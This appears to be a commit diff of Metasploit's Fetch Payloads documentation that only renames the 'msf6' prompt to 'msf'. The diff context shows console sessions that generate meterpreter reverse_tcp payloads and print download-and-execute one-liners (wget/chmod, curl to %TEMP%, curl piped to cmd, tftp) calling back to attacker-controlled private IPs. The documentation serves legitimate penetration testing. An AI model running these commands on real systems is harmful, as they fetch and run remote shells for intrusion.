@@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp
43
43
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
44
44
First, let's look at the payload in isolation:
45
45
``` msf
46
- msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
47
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
46
+ msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
47
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
48
48
49
49
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
50
50
@@ -62,7 +62,7 @@ LPORT 4444 yes The listen port
62
62
63
63
View the full module info with the info, or info -d command.
64
64
65
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
65
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
66
66
```
67
67
68
68
### Options
@@ -106,19 +106,19 @@ payload, we would see different options.
106
106
107
107
### Generating the Fetch Payload
108
108
``` msf
109
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
109
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
110
110
FETCH_COMMAND => WGET
111
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
111
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
112
112
FETCH_SRVHOST => 10.5.135.201
113
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
113
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
114
114
FETCH_SRVPORT => 8000
115
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
115
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
116
116
LHOST => 10.5.135.201
117
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
117
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
118
118
LPORT => 4567
119
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
119
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
120
120
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
121
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
121
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
122
122
```
123
123
124
124
You can see the fetch payload generated:
@@ -130,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary
130
130
served payload. With ` verbose ` set to ` true ` , you can see both the Fetch Handler and the Served Payload Handler are
131
131
started:
132
132
``` msf
133
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
133
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
134
134
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
135
135
[*] Payload Handler Started as Job 0
136
136
[*] Fetch Handler listening on 10.5.135.201:8000
@@ -142,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
142
142
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
143
143
` Jobs ` , even though the Fetch Handler is listening:
144
144
``` msf
145
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
145
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
146
146
147
147
Jobs
148
148
====
@@ -151,21 +151,21 @@ Jobs
151
151
-- ---- ------- ------------
152
152
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
153
153
154
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
154
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
155
155
[*] exec: netstat -ant | grep 8000
156
156
157
157
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
158
158
159
159
```
160
160
Killing the Served Payload handler will kill the Fetch Handler as well:
161
161
``` msf
162
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
162
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
163
163
[*] Stopping the following job(s): 0
164
164
[*] Stopping job 0
165
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
165
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
166
166
[*] exec: netstat -ant | grep 8000
167
167
168
- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
168
+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
169
169
```
170
170
171
171
## Using Fetch Payloads on the Fly
@@ -183,7 +183,7 @@ The following example shows both the original command to download and execute th
183
183
original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
184
184
command to run on the target is significantly shorter.
185
185
``` msf
186
- msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
186
+ msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
187
187
[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
188
188
189
189
[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
@@ -290,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly
290
290
4 ) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
291
291
start a tftp fetch handler, a new service will start:
292
292
``` msf
293
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
293
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
294
294
295
295
Jobs
296
296
====
@@ -299,16 +299,16 @@ Jobs
299
299
-- ---- ------- ------------
300
300
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
301
301
302
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
302
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
303
303
LPORT => 4445
304
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
304
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
305
305
306
306
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
307
307
[*] Payload Handler Started as Job 4
308
308
309
309
[*] starting tftpserver on 10.5.135.201:8080
310
310
[*] Started reverse TCP handler on 10.5.135.201:4445
311
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
311
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
312
312
313
313
Jobs
314
314
====
@@ -318,23 +318,23 @@ Jobs
318
318
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
319
319
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
320
320
321
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
321
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
322
322
[*] exec: netstat -an | grep 8080
323
323
324
324
udp 0 0 10.5.135.201:8080 0.0.0.0:*
325
325
udp 0 0 10.5.135.201:8080 0.0.0.0:*
326
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
326
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
327
327
FETCH_URIPATH => test4
328
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
328
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
329
329
LPORT => 8547
330
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
330
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
331
331
332
332
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
333
333
[*] Payload Handler Started as Job 5
334
334
335
335
[*] starting tftpserver on 10.5.135.201:8080
336
336
[*] Started reverse TCP handler on 10.5.135.201:8547
337
- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
337
+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
338
338
[*] exec: netstat -an | grep 8080
339
339
340
340
udp 0 0 10.5.135.201:8080 0.0.0.0:*
0 commit comments